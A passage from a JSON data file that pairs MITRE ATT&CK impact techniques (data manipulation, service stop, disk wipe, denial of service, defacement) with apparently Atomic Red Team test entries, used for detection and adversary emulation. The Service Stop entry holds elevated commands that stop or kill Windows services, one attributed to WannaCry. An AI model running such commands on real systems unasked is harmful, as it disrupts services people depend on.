- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292",
- "created": "2020-03-02T14:22:24.410Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1565.001",
- "url": "https://attack.mitre.org/techniques/T1565/001"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- },
- {
- "source_name": "FireEye APT38 Oct 2018",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "modified": "2022-04-19T23:03:49.461Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Stored Data Manipulation",
- "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Deletion",
- "File: File Creation"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1489": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
- "type": "attack-pattern",
- "created": "2019-03-29T19:00:55.901Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "external_id": "T1489",
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1489"
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- },
- {
- "source_name": "Novetta Blockbuster",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
- "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- },
- {
- "source_name": "SecureWorks WannaCry Analysis",
- "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
- "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."
- }
- ],
- "modified": "2021-03-02T22:11:32.017Z",
- "name": "Service Stop",
- "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS
, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services
. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW
may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Termination",
- "Process: OS API Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Metadata",
- "File: File Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1489"
- },
- "atomic_tests": [
- {
- "name": "Windows - Stop service using Service Controller",
- "auto_generated_guid": "21dfb440-830d-4c86-a3e5-2a491d5a8d04",
- "description": "Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying\nit has changed to a state of STOP_PENDING. If the spooler service was not running \"The service has not been started.\" will be displayed and it can be\nstarted by running the cleanup command.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "Name of a service to stop",
- "type": "string",
- "default": "spooler"
- }
- },
- "executor": {
- "command": "sc.exe stop #{service_name}\n",
- "cleanup_command": "sc.exe start #{service_name} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Stop service using net.exe",
- "auto_generated_guid": "41274289-ec9c-4213-bea4-e43c4aa57954",
- "description": "Stops a specified service using the net.exe command. Upon execution, if the service was running \"The Print Spooler service was stopped successfully.\"\nwill be displayed. If the service was not running, \"The Print Spooler service is not started.\" will be displayed and it can be\nstarted by running the cleanup command.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "Name of a service to stop",
- "type": "string",
- "default": "spooler"
- }
- },
- "executor": {
- "command": "net.exe stop #{service_name}\n",
- "cleanup_command": "net.exe start #{service_name} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Stop service by killing process",
- "auto_generated_guid": "f3191b84-c38b-400b-867e-3a217a27795f",
- "description": "Stops a specified service killng the service's process.\nThis technique was used by WannaCry. Upon execution, if the spoolsv service was running \"SUCCESS: The process \"spoolsv.exe\" with PID 2316 has been terminated.\"\nwill be displayed. If the service was not running \"ERROR: The process \"spoolsv.exe\" not found.\" will be displayed and it can be\nstarted by running the cleanup command.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of a process to kill",
- "type": "string",
- "default": "spoolsv.exe"
- }
- },
- "executor": {
- "command": "taskkill.exe /f /im #{process_name}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1499.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
- "type": "attack-pattern",
- "created": "2020-02-20T15:37:27.052Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1499.004",
- "url": "https://attack.mitre.org/techniques/T1499/004"
- },
- {
- "source_name": "Sucuri BIND9 August 2015",
- "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html",
- "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019."
- }
- ],
- "modified": "2022-03-25T18:11:13.604Z",
- "name": "Application or System Exploitation",
- "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content",
- "Sensor Health: Host Status"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ]
- },
- "atomic_tests": []
- },
- "T1487": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e",
- "type": "attack-pattern",
- "created": "2019-03-19T19:38:27.097Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1487",
- "url": "https://attack.mitre.org/techniques/T1487"
- },
- {
- "source_name": "Symantec Shamoon 2012",
- "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
- "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
- "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
- "source_name": "FireEye Shamoon Nov 2016"
- },
- {
- "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
- "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
- "source_name": "Palo Alto Shamoon Nov 2016"
- },
- {
- "source_name": "Kaspersky StoneDrill 2017",
- "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
- "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
- },
- {
- "source_name": "Unit 42 Shamoon3 2018",
- "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
- "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
- }
- ],
- "modified": "2020-02-20T22:11:00.106Z",
- "name": "Disk Structure Wipe",
- "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1565.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
- "type": "attack-pattern",
- "created": "2020-03-02T14:30:05.252Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1565.003",
- "url": "https://attack.mitre.org/techniques/T1565/003"
- },
- {
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "source_name": "FireEye APT38 Oct 2018"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- }
- ],
- "modified": "2022-03-25T19:24:18.545Z",
- "name": "Runtime Data Manipulation",
- "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata",
- "File: File Deletion",
- "Process: OS API Execution",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1498.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
- "type": "attack-pattern",
- "created": "2020-03-02T20:08:03.691Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1498.002",
- "url": "https://attack.mitre.org/techniques/T1498/002"
- },
- {
- "external_id": "CAPEC-490",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/490.html"
- },
- {
- "source_name": "Cloudflare ReflectionDoS May 2017",
- "url": "https://blog.cloudflare.com/reflections-on-reflections/",
- "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019."
- },
- {
- "source_name": "Cloudflare DNSamplficationDoS",
- "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/",
- "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019."
- },
- {
- "source_name": "Cloudflare NTPamplifciationDoS",
- "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/",
- "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019."
- },
- {
- "source_name": "Arbor AnnualDoSreport Jan 2018",
- "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
- "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
- },
- {
- "source_name": "Cloudflare Memcrashed Feb 2018",
- "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/",
- "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019."
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- }
- ],
- "modified": "2022-03-25T20:05:38.883Z",
- "name": "Reflection Amplification",
- "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ]
- },
- "atomic_tests": []
- },
- "T1499.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858",
- "created": "2020-02-20T15:31:43.613Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1499.002",
- "url": "https://attack.mitre.org/techniques/T1499/002"
- },
- {
- "source_name": "Arbor SSLDoS April 2012",
- "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new",
- "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019."
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- },
- {
- "source_name": "Cloudflare HTTPflood",
- "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/",
- "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019."
- },
- {
- "source_name": "Arbor AnnualDoSreport Jan 2018",
- "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
- "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/488.html",
- "source_name": "capec",
- "external_id": "CAPEC-488"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/489.html",
- "source_name": "capec",
- "external_id": "CAPEC-489"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/528.html",
- "source_name": "capec",
- "external_id": "CAPEC-528"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
- "modified": "2022-04-19T23:20:50.470Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Service Exhaustion Flood",
- "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Flow",
- "Sensor Health: Host Status",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1491": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
- "type": "attack-pattern",
- "created": "2019-04-08T17:51:41.390Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1491",
- "url": "https://attack.mitre.org/techniques/T1491"
- }
- ],
- "modified": "2022-03-25T19:34:42.056Z",
- "name": "Defacement",
- "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ]
- },
- "atomic_tests": []
- },
- "T1491.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
- "type": "attack-pattern",
- "created": "2020-02-20T14:31:34.778Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1491.001",
- "url": "https://attack.mitre.org/techniques/T1491/001"
- },
- {
- "source_name": "Novetta Blockbuster",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
- "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- },
- {
- "source_name": "Novetta Blockbuster Destructive Malware",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
- "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
- }
- ],
- "modified": "2022-03-25T19:31:24.482Z",
- "name": "Defacement: Internal Defacement",
